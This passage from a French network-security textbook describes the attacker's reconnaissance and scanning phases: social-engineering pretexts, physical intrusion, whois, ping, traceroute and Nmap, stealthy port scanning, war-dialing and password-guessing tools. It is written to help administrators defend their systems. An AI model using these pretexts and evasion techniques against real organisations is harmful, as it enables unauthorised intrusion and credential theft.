Heureusement, il existe des services spéciaux qui aident les administrateurs à


gérer, à détecter ces nouvelles vulnérabilités et à chercher les systèmes « patchs ». La
souscription à ces services de gestion de vulnérabilité procure des informations
concernant ces vulnérabilités dès leur apparition. Le niveau d’information fourni varie
d’une simple publication passive des vulnérabilités à la recherche d’information et des
patchs concernant les vulnérabilités correspondant au profil de chaque système. Ces
informations ciblées parviennent par email. Souscrire à ces types de service est dès
lors un moyen efficace pour se mettre à jour et pour contrer les nouvelles
vulnérabilités rapidement.

Il existe aussi des services gratuits concernant les nouvelles vulnérabilités. Les
sites les plus connus sont Security Focus (www.securityfocus.com), eSecurityonline
(www.esecurityonline.com) et celui de la division de la sécurité de la NIST (National
Institute for Standards and Technologies) et ICAT (http://csrc.nist.gov/icat/).Tous ces

9 Consulter www.securityfocus.com, www.esecurityonline.com.


86 La sécurité sur Internet

sites contiennent une base de données relative aux vulnérabilités. Plusieurs bases de
données donnent la possibilité aux utilisateurs de rechercher en fonction des critères
tels que les systèmes d’exploitation, les applications, les niveaux de sévérité, les
dates ou autres.

Le problème le plus crucial dans la gestion des vulnérabilités émergentes est


celui du temps. Dès lors la souscription aux services précédemment cités, taillés sur
mesure pour chaque système constitue un gain de temps appréciable. Cependant,
être au courant des vulnérabilités des systèmes gérés est insuffisant. Pour éliminer
les expositions aux nouvelles vulnérabilités, un mécanisme de renforcement de
validation est nécessaire. Les processus de tests utilisant les techniques et outils
détaillés dans ce livre est une méthode de renforcement. Ces préconisations utilisent
néanmoins une structure et une organisation assez conséquente pour être efficaces et
à temps. Le monitoring et l’automatisation des scannings de sécurité déterminant les
expositions des points vulnérables peuvent faire gagner du temps.

L’utilisation régulière des outils de scanner tels que Cybercops, ISS Internet
Scanner ou Nessus peut être bénéfique. L’utilisation d’un outil pour la gestion de la
configuration tel que l’outil ESM, Omniguard Enterprise Security Management, de
la société Symantec constitue un autre type de mécanisme de renforcement. Ces
outils ne sont pas bon marché mais les risques sont énormes si les problèmes des
trous de sécurité ne sont pas détectés et si on n’y remédie pas à temps.

Résumé du chapitre 3

Ce chapitre présente les faiblesses de sécurité dans les protocoles, les systèmes et
les réseaux. Une liste de plus de vingt types de vulnérabilités y est recensée. Cette
liste n’est certes pas exhaustive, mais assez étoffée et couvre la plupart des
vulnérabilités souvent exploitées par les pirates. La plupart des failles sont dues aux
mauvaises configurations et à des erreurs de programmation. Elles peuvent être
facilement identifiées et appréhendées et l’entreprise peut ainsi se prémunir contre
ces faiblesses.

Après des exposés techniques, la dernière partie concernant le management des


vulnérabilités aura donné un aperçu des solutions potentielles telle que l’obtention
des patchs ou la pratique du scanning. Ces pratiques sont applicables directement
par les administrateurs ou ingénieurs soucieux de préserver l’intégrité et la sécurité
du réseau et des systèmes de leur entreprise.

Le monitoring et l’automatisation du scanning de sécurité déterminant les points


vulnérables peuvent faire gagner du temps.
Chapitre 4

La phase de reconnaissance

4.1. Introduction

Avant de mener une attaque, le pirate passe par une phase de reconnaissance
durant laquelle il cherche à collecter le plus d’informations possibles concernant le
réseau ou le système-cible. Pour se convaincre de l’importance de cette phase,
pensons à un casse dans une banque. Avant de commettre leur forfait, les braqueurs
vont visiter l’agence cible, identifier les temps d’entrée et de sortie des agents de
sécurité, les positions des caméras de sécurité, etc. Ils identifieront probablement
aussi le type des systèmes d’alarme et chercheront des informations chez le vendeur
de ces systèmes. Enfin, ils se procurent la carte de la ville où se trouve l’agence
cible, pour planifier les chemins de fuite et de retrait après l’attaque.

Le processus de découverte et de collecte d’informations sur la cible est donc la


première étape du processus d’intrusion et/ou d’attaque. Cette phase est réalisée sur
deux plans : le social engineering et l’Internet.

La plupart des informations obtenues durant cette étape sont disponibles en libre
accès et sont même parfois obtenues sur simple demande. C’est pour cela que
certaines entreprises surveillent et enregistrent tous ceux qui tentent d’obtenir des
informations, en considérant cette action de collecte comme les préliminaires d’une
attaque.
88 La sécurité sur Internet

4.2. La reconnaissance sans technologie spécifique

4.2.1. Le social engineering

Même sans toucher à un ordinateur, quiconque est capable d’obtenir des


informations sensibles concernant une entreprise. En utilisant la pléiade de
techniques mise à sa disposition, un pirate peut potentiellement obtenir des mots de
passe, et accéder à des architectures réseaux détaillées et des documentations
systèmes. Il peut parfois dérober des informations confidentielles à l’insu des
administrateurs réseaux. C’est ce qui est convenu d’appeler le social engineering.

La technique du social engineering est simple mais efficace. En se faisant passer


pour un client ou un fournisseur, le pirate essaye de mettre en confiance l’employé
d’une entreprise et le pousse, durant la discussion au téléphone, à lui divulguer des
informations secrètes et sensibles sur son entreprise. Généralement, les gens sont
aimables et veulent souvent rendre service aux autres, par conséquent si la voix
sympathique d’une personne appelle pour demander des informations, la plupart des
employés sont heureux de l’aider. Il est assez frustrant de savoir que le processus du
social engineering réussit dans la plupart du temps.

Voici quelques prétextes souvent utilisés dans le processus du social engineering :


– un nouvel employé appelle le service informatique pour demander comment
exécuter une tâche particulière sur un ordinateur ;
– un manager « en colère » redemande à son subalterne son mot de passe pour
vérification, prétendant que ce mot de passe ne fonctionne plus ;
– un administrateur système appelle un employé pour travailler sur son compte
du système, et lui dit qu’il aurait besoin de son mot de passe ;
– un employé appelle le service informatique pour demander le numéro de
téléphone pour accéder à un système par modem.

Bien que certains pirates tentent d’obtenir l’information sensible dans un délai
très court, d’autres passent des semaines voire des mois à bâtir des relations
sympathiques et/ou de confiance avec des employés d’une entreprise cible. Une voix
féminine au téléphone a plus de chance d’obtenir la confiance de l’interlocuteur
qu’une voix masculine, quoique les pirates utilisent des éléments plus convaincants
tel que le jargon propre à l’entreprise cible pour établir une relation de confiance.

Une fois la relation de confiance établie, le pirate va évidement demander des


informations sensibles, à travers une conversation anodine, sans que la victime
identifie l’intention malveillante du pirate ni la sensibilité et le degré d’importance
des informations divulguées.
La phase de reconnaissance 89

4.2.2. Accès physique

Alors que le social engineering fournit de précieuses informations aux pirates, la


vieille méthode d’intrusion dans les bâtiments de l’entreprise cible donne aussi des
éléments précieux. Cette technique consiste à s’adresser personnellement à une
entreprise. Une fois à l’intérieur, le pirate peut accéder à un ordinateur et trouver
peut-être un compte connecté au système et obtenir ainsi des informations sur les
comptes et les mots de passe. Le pirate peut installer aussi un programme malicieux
(i.e. BackOrifice, NetBus, SubSeven) dans une machine de l’entreprise, lui
permettant ainsi plus tard de contrôler à distance le système depuis l’extérieur. Avec
un simple Plug Ethernet encastré dans le mur, le pirate peut de l’intérieur scanner et
sniffer le réseau de l’entreprise, effectivement en transparence vis-à-vis du firewall.
Il pourrait également dérober des disques durs ou même un système entier contenant
des informations sensibles et les sortir en cachette du bâtiment, pour pouvoir les
analyser plus tard chez lui à tête reposée.

Il y a plusieurs méthodes pour accéder aux bâtiments d’une entreprise. Un


individu peut se faufiler dans un groupe d’employés qui gagnent leur lieu de travail.
Dans les bâtiments gouvernementaux, dont l’accès est strictement réservé, les plus
hardis peuvent se faire passer pour des employés temporaires, des contractuels, des
clients ou fournisseurs, et accéder à des zones sensibles. Parfois, certaines personnes
se font embaucher dans le seul but de parvenir à des informations stratégiques de
l’entreprise ou d’implémenter des programmes malicieux.

Une autre technique consiste à fouiller dans les poubelles d’une entreprise cible,
dans l’espoir de trouver des informations sensibles. Les pirates utilisent cette
technique en espérant trouver des documents, des disquettes, des disques durs, voire
des bandes magnétiques jetées ou abandonnées contenant des informations
importantes.

4.3. La reconnaissance par ordinateur

Dans ce qui suit, nous détaillons la procédure qui permet l’obtention


d’informations importantes et sensibles à propos d’une entreprise grâce à des outils
logiciels téléchargeables à titre gracieux à partir de l’Internet.

4.3.1. La commande Whois

Avant même de scanner les réseaux, dans une première étape, le pirate essaye de
déterminer le nom de domaine de l’entreprise cible ainsi que ses plages d’adresses IP.
90 La sécurité sur Internet

Pour déterminer la plage des adresses IP d’une entreprise, on exécute la


commande Whois1. Cette commande est de base dans Unix. Pour Windows,
NetScanTools (www.netscantools.com), WS_Ping ProPack (www.ipswitch.com) et
SamSpade (www.samspade.org) sont des exemples d’outils d’exécution de cette
commande. Parfois, une portion des adresses IP retournées peut appartenir à une
entreprise différente. En plus, la commande Whois fournit des informations de
contact, tels que le nom de l’administrateur réseau cible, son adresse postale ainsi
que celle de son email. Ces informations autorisent des attaques de type social
engineering sur les employés d’une entreprise.

La Figure 4.1 montre, par exemple, comment la commande Whois de l’outil


WS_Ping ProPack permet d’identifer que l’adresse IP 193.95.37.1 appartient au
réseau de l’Ecole Supérieure des Communications de Tunis (Sup’Com) et que la
plage des adresses IP de cette école est : 193.95.37.1 - 193.95.37.255.

Figure 4.1. La commande Whois dans l’outil WS_ping ProPack

4.3.2. La commande Lookup

La commande Lookup est utilisée pour interroger un serveur DNS afin de


trouver la correspondance entre noms de domaine et adresses IP.
La Figure 4.2 montre, par exemple, comment la commande Lookup de
l’outil WS_ping ProPack permet d’identifer les adresses IP des serveurs hébergeants
le site Web www.yahoo.com.

1 La commande Whois (= qui est-ce ?) est implicitement incluse dans le système.


La phase de reconnaissance 91

Figure 4.2. La commande Lookup dans l’outil WS_ping ProPack

4.3.3. La commande ping

L’étape suivante consiste à « pinguer » des adresses IP découvertes pour


identifier celles qui sont connectées à Internet et celles qui ne le sont pas. Il y a
plusieurs méthodes pour pinguer un ensemble d’adresses IP. Les plus courants sont
le Ping ICMP traditionnel et le Ping TCP. Plusieurs sites ont élevé leur niveau de
sécurité en restreignant le trafic ICMP ou en le bloquant par leursfirewalls ou
routeurs, limitant ainsi leurs systèmes aux requêtes du Ping ICMP. Néanmoins, un
ping TCP arrive à traverser le réseau.

Toutefois, il ne faut jamais baisser la garde. Une machine, qui a émis une
réponse Ping ICMP (ICMP echo reply) à une requête Ping ICMP (ICMP echo
request), donc qui est connectée, est certes connectée ; il n’en demeure pas moins
qu’une non réponse signifie que cette machine n’est pas connectée à Internet.

Dans ce cas de figure, plusieurs possibilités se présentent :


– la machine est effectivement non connectée ;
– le trafic ICMP vers cette machine peut être filtré et la requête ping ICMP n’a
simplement pas atteint la machine ;
92 La sécurité sur Internet

– une fausse réponse peut aussi être envoyée à cette requête ping ICMP par les
Firewalls, ou autres machines de frontière dans le périmètre de sécurité.

Pour demeurer discret malgré les systèmes de détection d’intrusion, le pirate


dispose, par exemple, de Nmap (www.nmap.org), un outil puissant et discret.

Par ailleurs, si le réseau cible bloque les requêtes ping ICMP, la commande ping
ne permet pas de repérer les systèmes connectés. En plus, dans le réseau cible, le
système le plus crucial peut être programmé afin de bloquer les réponses à ce type
de requêtes et laisse aux autres machines secondaires la possibilité de répondre à ces
requêstes ping ICMP. En détectant ces derniers, les pirates ne pensent plus à utiliser
des outils sophistiqués pour identifier les systèmes importants. Au lieu du ping
ICMP, moins efficace, Nmap, au contraire, permet le lancement des pings TCP sur
tous les ports TCP.

Comme le démontre la Figure 4.3, Nmap envoie un paquet TCP ACK ou SYN2
vers un port spécifique et reçoit du système-cible la réponse, sous forme d’un
paquet, pour la connexion. Avec les Ping sur les ports TCP, il est donc facile
d’identifier les machines qui ont restreint les réponses ping ICMP mais qui sont
encore connectés au réseau. Autrement dit, malgré leur restriction, on les détecte
toujours.

Nmap possède une autre fonction qui permet de détecter le système


d’exploitation d’un système-cible en analysant les séquences TCP/IP.

Le Ping existe par défaut dans la plupart des systèmes d’exploitation et son
éxécution est possible grâce à une large gamme d’outils. Nmap est l’un des outils les
plus connus, grâce à sa configuration et à sa simplicité d’utilisation, ainsi qu’aux
autres fonctions spécifiques intégrées (ping TCP, Scanning de port et Identification
des systèmes d’exploitation). D’autres outils sont très efficaces pour faire du Ping,
comme NetScanTools, pinger ou WS_ping ProPack.

Cependant, il est important de signaler que le Ping n’est généralement pas


considéré comme une preuve d’intention d’attaque d’un système. Mais, si son
utilisation est excessive, il peut s’avérer destructif et finit par affecter la bande
passante d’un réseau cible.

2 Ce sont les paquets d’acquittement et/ou de synchronisation.


La phase de reconnaissance 93

Figure 4.3. Nmap fournit le ping TCP et le ping ICMP

4.3.4. La commande TraceRoute

Pour déterminer sommairement l’architecture du réseau d’une entreprise cible,


on trace la route à plusieurs hôtes connectés. Ce processus est appelé « traceroute »
et permet d’identifier les routeurs, les firewalls et autres machines frontalières en
place dans le réseau cible. De plus, ce processus permet d’identifier les machines de
l’entreprise cible sur différents segments, c’est-à-dire sur des sous-réseaux différents.
Malheureusement, les administrateurs qui travaillent en étroite collaboration sur ces
différents sous-réseaux (ou segments) pensent avoir des relations de confiance. Et c’est
ce genre de relations qu’un pirate peut exploiter pour compromettre le réseau ou les
autres machines.

Le processus traceroute identifie le chemin d’un paquet ICMP de l’hôte local3


vers l’hôte de destination. La commande Traceroute est disponible comme une

3 Lieu où la commande a été exécutée.


94 La sécurité sur Internet

commande on-line dans Unix (traceroute) et dans Windows (tracert). L’outil


VisualRoute de Windows permet également d’exécuter traceroute et de montrer
l’itinéraire du chemin d’un paquet ICMP imprimé sur une carte du monde.

Si plusieurs machines ont le même hop, ce hop est probablement un routeur, un


firewall ou une passerelle. S’il y a une machine commune après laquelle aucun
paquet ICMP ne peut plus être aperçu, alors ceci pourrait être un firewall ou un
routeur filtrant. Si donc des paquets d’un certain système suivent des chemins
alternatifs, c’est forcément la preuve qu’une nouvelle passerelle a été créée vers le
réseau cible.

4.4 Les outils de reconnaissance

Jusqu’ici, nous avons évoqué les techniques permettant de mener des activités de
reconnaissance sur un réseau et/ou système-cible. Des efforts significatifs ont été
menés pour intégrer toutes ces techniques dans des outils de reconnaissance intégrés.

Ces outils de reconnaissance sont donc utilisés par les pirates pour collecter des
informations concernant le réseau et/ou les systèmes visés. La collecte concerne les
informations de contact, des DNS, et des informations sur l’architecture et la
configuration du réseau cible. Elles permettent aussi d’identifier puis connaître :
– les systèmes connectés ;
– leurs localisations ;
– les personnes ou éléments qui les contrôlent.

Une personne malveillante peut donc aisément utiliser Whois, DNS zone
transfer, Ping, les requêtes SNMP, etc. Toutes les informations ainsi obtenues
permettent au pirate d’avoir une idée précise sur l’environnement qu’il s’apprête à
attaquer.

Nous allons maintenant passer en revue ces outils. Nous les classerons en deux
catégories.

La première catégorie est constituée d’outils qui sont installés dans la machine
du pirate ou du testeur. On les appelle les outils de reconnaissance à base de client.

La seconde est constituée d’outils variés qui sont accessibles à partir d’Internet, à
partir d’un navigateur Web. Ces outils sont appelés des outils de reconnaissance à
base de Web.
La phase de reconnaissance 95

4.4.1. Les outils de reconnaissance à base de client

NetScanTools, SamSpade, CyberKit, iNetTools, WS_ping ProPack, et Nmap


sont des outils de reconnaissance à base de client, simples à utiliser, riches en
fonctionnalités de reconnaissance intégrées et fonctionnant sur les plates-formes
Windows ou Unix. Ils sont d’autant plus attrayants que leurs fonctionnalités
s’exécutent avec des interfaces graphiques conviviales.

En plus de Whois, Ping et Traceroute, ces outils de reconnaissance intègrent


d’autres fonctions, dont voici quelques exemples :
– DNS Zone Transfer permet le transfert de toutes les informations concernant
un nom de domaine à partir d’un serveur.
– Finger permet d’interroger un système pour déterminer la liste de ses
utilisateurs.
– SMTP VRFY est utilisé pour déterminer si une adresse email particulière est
valide dans un serveur email donné. Ceci est basé sur le protocole SMTP qui est
largement utilisé pour vérifier l’existence et la validité des adresses email.
– TCP Term est utilisé pour « banner grabbing ». Banner grabbing est le
processus de capture des bannières affichées (en tête) qu’un service affiche quand il
reçoit une demande de connexion. Par exemple, les services FTP et Telnet ont
souvent des bannières qui affichent « Welcome », et fournit la version du service,
puis affiche le prompt d’attente du login.
– Crawl website permet de chercher des informations à partir des sites Web, tel
que des mots de passe, des adresses email, et autres informations utiles.

Parmi ces outils de reconnaissance, certains sont spécialisés dans la réalisation


précise d’une fonction de reconnaissance tel que VisualRoute4 qui réalise des
traceroutes. Il fournit une interface graphique conviviale permettant de suivre
chaque étape sur une carte du monde (Figure 4.4). Le résultat de VisualRoute
permet la construction d’une carte préliminaire du réseau cible. Cet outil aide à
identifier les firewalls, routeurs et autres systèmes. L’utilisateur peut déterminer si
deux systèmes sont dans le même segment de réseau ou séparés par un routeur.
Cette information sera primordiale ultérieurement surtout durant l’étape de l’exploit
et d’attaque.

Notons enfin qu’avec ces outils de reconnaissance à base de client, tout le trafic
part de la machine du pirate.

4 www.visualroute.com
96 La sécurité sur Internet

Figure 4.4. L’outil VisualRoute

4.4.2. Les outils de reconnaissance à base de Web

Contrairement aux outils de reconnaissance à base de client, où tout le trafic part


de la machine du pirate, avec les outils de reconnaissance à base de Web, tout le
trafic provient, non de la machine du pirate, mais du serveur Web. Par conséquent,
ces outils peuvent aider un pirate à rester anonyme.

Lors de l’utilisation de ces outils Web, il faut donc faire attention. Plusieurs de
ces outils sont gérés par des professionnels intègres, mais d’autres sont gérés par des
pirates. Ainsi, une adresse IP peut être enregistrée dans les fichiers log des serveurs
Web et éventuellement manipulée ultérieurement.

Ces outils de reconnaissance se comportent comme un système de recherche et


servent par conséquent à d’éventuelles attaques. Quelques sites permettent même de
mener des recherches de vulnérabilité et de lancer des attaques de type Déni de
service (DoS), par exemple. La liste suivante donne quelques adresses de site Web
de reconnaissance :
La phase de reconnaissance 97

– www.samspade.org
– www.network-tools.com
– www.securityspace.com
– www.privacy.net/analyze/

4.5. Management et diffusion des informations

Comme nous venons de le voir, les attaques débutent en principe par une phase
de reconnaissance, pendant laquelle la moindre information a sa valeur. Il importe
donc d’instituer une très bonne politique de sécurité physique sans laquelle une
sécurité informatique forte est impossible. Pour éviter d’être attaqué, la
sensibilisation du personnel est donc primordiale. Les employés qui manipulent des
informations sensibles doivent recevoir une formation dans ce sens pour prendre les
précautions nécessaires à l’encontre des personnes inconnues ou non répertoriées
dans l’annuaire de l’entreprise. La mise en place de mécanismes de sécurité
physique n’est jamais une précaution de trop et la destruction totale des informations
sensibles en fin d’utilisation est impérative. Le Web est une mine d’informations
très utiles dont raffolent les hackers. Plusieurs entreprises mettent sur leur site Web,
à la disposition du public, des informations, telle que des informations de contact ou
la liste des partenaires, qui peuvent être très importantes et utiles pour les personnes
malveillantes. Les pirates utilisent les moteurs de recherche Web pour trouver des
cibles, et obtenir plus d’informations sur elles. Pour se défendre contre les pirates
qui utilisent l’Internet, il faut avoir une politique concernant la diffusion
d’informations sensibles sur Internet, et périodiquement contrôler et vérifier ces
informations.

Résume du chapitre 4

Après les concepts généraux, nous avons évoqué les deux plans de la phase de
reconnaissance. Le premier plan diffère du second par la non-utilisation d’outils
spécifiques : l’accès frauduleux dans les bâtiments de l’entreprise suivi de vols et le
social engineering en sont les éléments clefs. Quant au deuxième type, il n’est
réalisable qu’à l’aide d’outils informatiques téléchargeables à partir du Web.

Quelques conseils de management et de gestion d’informations attirent


l’attention des administrateurs sur les dangers potentiels. Le bon sens appelle à la
méfiance.
Chapitre 5

La phase de scanning
et d’analyse des vulnérabilités

5.1. Introduction

Après une phase de reconnaissance, le pirate aura, comme nous venons de le


voir, glané d’importantes informations concernant l’infrastructure-cible : des
numéros de téléphone, des noms de domaines, des adresses IP, etc. Cet avantage lui
procure un départ conséquent. Il passe alors à l’étape suivante qui consiste à
identifier les vulnérabilités du réseau ou du système visé. Pour ce faire, il utilise le
scanning afin de dénicher un point d’accès qui lui permet de réussir son attaque
et/ou incursion. Il est patient et mettra le temps qu’il faut pour trouver un point
propice dans les vulnérabilités.

Au cours de ce chapitre, et à l’intention du responsable de la sécurité de


l’entreprise, nous allons décrire cette approche en détaillant les techniques de
scanning des vulnérabilités.

5.2. Identification des systèmes d’exploitation

Des informations telle que l’identification du système d’exploitation d’un


ordinateur dévoilent certains services fonctionnant sur les ports ouverts. Un des
outils les plus efficace pour cette approche est Nmap.
100 La sécurité sur Internet

L’identification d’un système d’exploitation est une approche très connue pour
repérer les vulnérabilités des systèmes. Dès que le système d’exploitation d’une
machine est identifié, il est facile de générer sa liste de vulnérabilités connues,
souvent à partir du site Web du vendeur. Par exemple, si le système d’exploitation
de la cible est Windows NT, on peut vérifier l’ouverture du port 139, et savoir s’il
existe des fichiers partagés accessibles. Par contre si on identifie une machine
UNIX, ce sont les ports X Windows (6000-6063) qui seront visés.

5.3. Le scanning des ports

On présente le processus de scanning des ports comme le cas d’un cambrioleur


qui circule en voiture et observe les maisons d’une rue pour repérer des fenêtres
ouvertes. Au-delà d’un certain seuil, et sans permission, le scanning de port devient
excessif et constitue donc les prémices d’une attaque qu’il faut prendre au sérieux.
D’autant plus qu’il fournit des informations sur la performance du réseau ou du
système-cible à travers la surveillance du trafic généré.

Du point de vue légal, le scanning des ports est un sujet litigieux parmi les
professionnels de la sécurité.

Le scanning des ports consiste à déterminer les services qui opèrent sur les ports
ouverts du système-cible. Le scanning de tous les ports (1-65535) est « l’idéal » et
offre le plus d’informations sur la cible. Cependant il pèche par sa lenteur et c’est
cette lenteur qui le trahit. Pour éviter d’être repéré, un pirate chevronné contourne
l’obstacle en procédant au scanning sur plusieurs sessions avec à chaque fois une
petite plage de ports.

Le scanning total des ports présente plusieurs options. D’abord le scanning des
ports connus (1-1023), ensuite d’autres ports spécifiques au système-cible, comme
les ports X Windows de 6000 à 6063 sur une machine Unix. On peut aussi créer une
liste de ports qui repèrent les applications avec des vulnérabilités connues tels que le
FTP, le Telnet (respectivement les ports 21 et 23). La plupart des scanners donnent
la possibilité de faire du scanning sur les ports de TCP et d’ UDP.

D’autres outils de scanning des ports sont disponibles sur l’Internet comme
NetScanTools (www.netscantools.com) et SuperScan Pro (www.superscan.net). Ils
sont efficaces pour l’environnement Windows mais ne détectent pas les systèmes
d’exploitation.
La phase de scanning et d’analyse des vulnérabilités 101

La Figure 5.1 montre, grâce à NetScanTools, les ports ouverts dans une machine
cible. Plusieurs ports sont ouverts mais non utilisés, ceci est une information claire
indiquant que la machine est peu sécurisée.

Figure 5.1. Le scanning des ports avec l’outil NetScanTools

5.3.1. Identification des applications

Le scanning des ports fournit ainsi la liste des ports ouverts sur la machine-cible.
Un port ouvert n’indique pas toujours quel service est actif sur celui-ci. Les ports en
dessous de 1024 sont assignés à plusieurs services et s’ils sont trouvés ouverts, ils
indiquent généralement les services assignés souvent par convention ou par défaut
(par exemple, le port 21 indique généralement le service FTP). Par ailleurs, d’autres
applications, comme les ports 65301 pour pcAnywhere et 26000 pour Quake,
tournent sur certains ports depuis un certain temps, de telle sorte qu’ils sont devenus
de facto les ports standard pour ces applications. Evidemment, les administrateurs
des systèmes peuvent changer le port assigné à un service dont le but, par exemple,
est de cacher le service. Ainsi, pour identifier et/ou vérifier le service du port en
question, on se connecte au service sur le port pour voir la bannière affichée.
Pratiquement, à partir du prompt du Dos, on fait entrer la commande suivante :
Telnet « l’adresse IP » « le numéro de port ».
102 La sécurité sur Internet

Une fois déterminée la liste des applications tournant sur la machine visée, une
recherche sur l’Internet fournit les vulnérabilités associées et connues ainsi que leurs
exploits, c’est-à-dire des astuces, programmes ou codes qui permettraient d’exploiter
ces vulnérabilités.

L’identification des applications ou services sur la machine cible se fait aussi à


partir de l’affiche des bannières des applications ou services. Les applications FTP,
Telnet, http, et SNMP ainsi que leurs versions associées s’identifient une fois que la
connexion s’établit. Il en est de même pour les divers types d’applications
fonctionnant sous Windows ou Unix.

En utilisant l’outil NetScanTools, on peut identifier l’application ou le service


fonctionnant sur un port particulier. La Figure 5.2 montre que le service Microsoft
FTP version 2.0 opère sur le port 21.

Figure 5.2. Identification des applications avec l’outil NetScanTools


La phase de scanning et d’analyse des vulnérabilités 103

5.4. Le War-dialing

5.4.1. Concepts généraux

Le War-dialing, que nous pouvons traduire par « le forcing des appels », est la
technique qui consiste à repérer le modem d’un ordinateur connecté au réseau
téléphonique, pour essayer d’y accéder à partir du réseau d’appel public. Un outil de
War-dialing automatise la tâche d’appel d’un grand nombre de numéros de téléphone.
L’outil appelle automatiquement les numéros de téléphone (les uns après les autres),
cherchant les modems opérationnels. Un pirate peut lancer un grand balayage ou un
scanning de milliers de numéros durant une nuit en utilisant un simple ordinateur et
une ligne téléphonique. Le processus de War-dialing peut être accéléré grâce à
plusieurs ordinateurs et lignes téléphoniques.

Très souvent, des utilisateurs gardent leurs ordinateurs de bureau connectés pour
y accéder à partir de chez eux. Ces utilisateurs utilisent en général des logiciels
d’accès à distance tel que pcAnywhere de Symantec, LapLink de LapLink.com,
ControlIT de Computer Associates ou encore NetSupport. Ces logiciels permettent
aux utilisateurs d’accéder à toutes les ressources pilotées par leurs ordinateurs de
bureau (même leurs écrans, claviers, et souris) ainsi que les ressources partagées sur
les réseaux locaux de leurs entreprises. S’ils ne sont pas configurés correctement,
ces produits de contrôle à distance fournissent une aubaine à un pirate potentiel pour
accéder aux réseaux cibles. Il peut ainsi se connecter au réseau interne d’une
entreprise sans passer par le routeur frontal et le routeur interne, et à l’insu du
firewall (le cas d’une architecture DMZ) placé normalement pour protéger les
systèmes des attaques venant de l’extérieur et de l’intérieur.

Par défaut, un produit de contrôle à distance comme pcAnywhere n’exige pas de


mots de passe pour l’authentification des utilisateurs. Quiconque qui appelle un
ordinateur avec un tel produit installé, aura le contrôle total sur l’ordinateur victime
sans même fournir de mot de passe. Pour avoir un accès total et le contrôle de la
machine cible, le pirate n’a donc qu’à dénicher un modem sur la machine-cible en
utilisant un outil de War-dialing. Ensuite, il n’a qu’à fournir le login et le mot de
passe (si le produit de contrôle à distance les demande). Enfin il se connecte comme
un simple utilisateur de l’entreprise. Le pirate aura dès lors le contrôle total de la
machine-cible et pourra procéder à des intrusions et des attaques sur le réseau.

5.4.2. Les outils de War-dialing

Durant les deux dernières décennies, la popularité de cette technique a fait


proliférer les outils de War-dialing. Il en existe plusieurs dans le commerce et
104 La sécurité sur Internet

certains sont même offerts gratuitement. Voici une liste des outils de War-dialing les
plus connus :
– ToneLoc
– THC-Scan
– TeleSweep
– PhoneSweep
– Phone Tag
– Vex’s Wardialer

Les deux premiers sont gratuits. THC-Scan, de son vrai nom « The Hacker’s
Choice-Scan », est une version de mise à jour de ToneLoc. TeleSweep,
PhoneSweep, Phone Tag et Vex’s Wardialer sont des outils commerciaux qui
réalisent des tests plus rapides et sont relativement coûteux. Ils ont la capacité de
coordonner simultanément des appels de plusieurs lignes téléphoniques. Cette
caractéristique est le facteur principal contribuant à leur célérité. En plus, ils sont plus
efficaces quant à l’identification des types de modems et systèmes qui leur
répondent.

5.4.3. Après le War-dialing

Comme l’outil de War-dialing affiche les bannières des applications, des


utilisateurs connectés et/ou des invitations de commande (Login prompt), le pirate
est en mesure d’identifier les systèmes qui demandent des mots de passe et les
systèmes qui n’en demandent pas. En effet, parfois, par la nature du « Login
prompt », il peut déterminer la plate-forme du système correspondant. Ensuite, il va
essayer de se connecter à ces systèmes pour y pénétrer. S’il réussit, le pirate peut
alors déclencher le scanning de tout le réseau. Cependant si le modem ne tolère que
des connexions d’un type particulier de programme client tel que le programme de
contrôle pcAnywhere, le pirate s’adaptera aux exigences.

Avec les systèmes qui le demandent, le pirate est dans l’obligation de trouver le
mot de passe. Pour ce faire, il a à sa portée THC LoginHacker (www.thc.org), un
outil qui automatise des propositions de mots de passe ; sinon il entre manuellement
des mots de passe dans l’espoir de tomber sur le bon. Quand un pirate essaye de
deviner des mots de passe, en général il va choisir une liste de mots de passe dans
des dictionnaires de bases de données des mots de passe ou en se basant sur les
informations obtenues concernant l’entreprise cible et leurs systèmes. Il peut aussi
utiliser un programme automatique d’appel, d’essai et de détection des mots de
passe.
La phase de scanning et d’analyse des vulnérabilités 105

5.5. Recherche dans les bases de données des vulnérabilités

La liste des applications ou services étant déterminée, l’étape suivante consiste à


détecter les vulnérabilités correspondantes. Pour un administrateur réseaux rompu
dans les tests d’intrusion, certaines vulnérabilités deviennent vite familières et donc
faciles à éviter. Cependant, il est important de noter que de nouvelles vulnérabilités
sont annoncées quotidiennement. Donc, la consultation régulière des bases de données
des vulnérabilités pour toutes les applications, services, et systèmes d’exploitations est
très recommandée. En voici deux exemples : Packetstorm1 et SecurityFocus2. Chaque
base de données de vulnérabilités possède son réseau d’utilisateurs qui en assurent la
mise à jour.

Un pirate qui a déjà identifié des vulnérabilités peut télécharger les codes
d’exploit (ou les codes adéquats) pour les utiliser lors de la phase d’attaque ou
d’intrusion. Cependant il peut procéder aussi à une attaque directe si la vulnérabilité
identifiée et l’exploit associé lui sont familiers.

La Figure 5.3 montre que le scanner de vulnérabilité GFI LANguard Network


Security Scanner (www.gfi.com) a identifié dans la machine « Washington » une
vulnérabilité grave, nommée « Apache Chunked-Encoding Memory Corruption
Vulnerability », dans le serveur Apache.

Figure 5.3. Le scanner de vulnérabilité GFI LANguard Network Security Scanner

1 www.packetstormsecurity.org.
2 www.securityfocus.com.
106 La sécurité sur Internet

La Figure 5.4 montre que la base de données des vulnérabilités « securityfocus.com »


fournit le code du programme et favorise ainsi l’attaque de la machine « Washington »,
grâce à la vulnérabilité « Apache Chunked-Encoding Memory Corruption Vulnerability ».

Figure 5.4. La base de données des vulnérabilités SecurityFocus

5.6. Les scanners de vulnérabilités automatiques

5.6.1. Concepts généraux

Les scanners de vulnérabilités automatiques sont des outils automatiques de


scanning des systèmes qui cherchent des vulnérabilités et des faiblesses connues ou
répertoriées. Il y a sur le marché plusieurs outils gratuits ou payants. Les outils
commerciaux sont en général chers. Network Associates CyberCop Scanner
(www.nai.com) et Internet Security Systems (ISS) Internet Scanner (www.iss.net) et
GFI LANguard Network Security Scanner (www.gfi.com) sont parmi les meilleurs
disponibles sur le marché. Ces outils mènent une série de recherches automatiques
sur la cible pour identifier des vulnérabilités connues. Chaque outil utilise une base
de données de vulnérabilités.
La phase de scanning et d’analyse des vulnérabilités 107

La procédure des scanners de vulnérabilités est similaire à celle des antivirus, qui
fonctionnent avec une base de données des signatures associées aux virus. Par
conséquent, si la base de données n’est pas mise à jour continuellement, l’outil n’est
pas en mesure de trouver les dernières vulnérabilités et devient de ce fait obsolète.
Par conséquent, le nombre de vulnérabilités qu’un scanner peut identifier et la
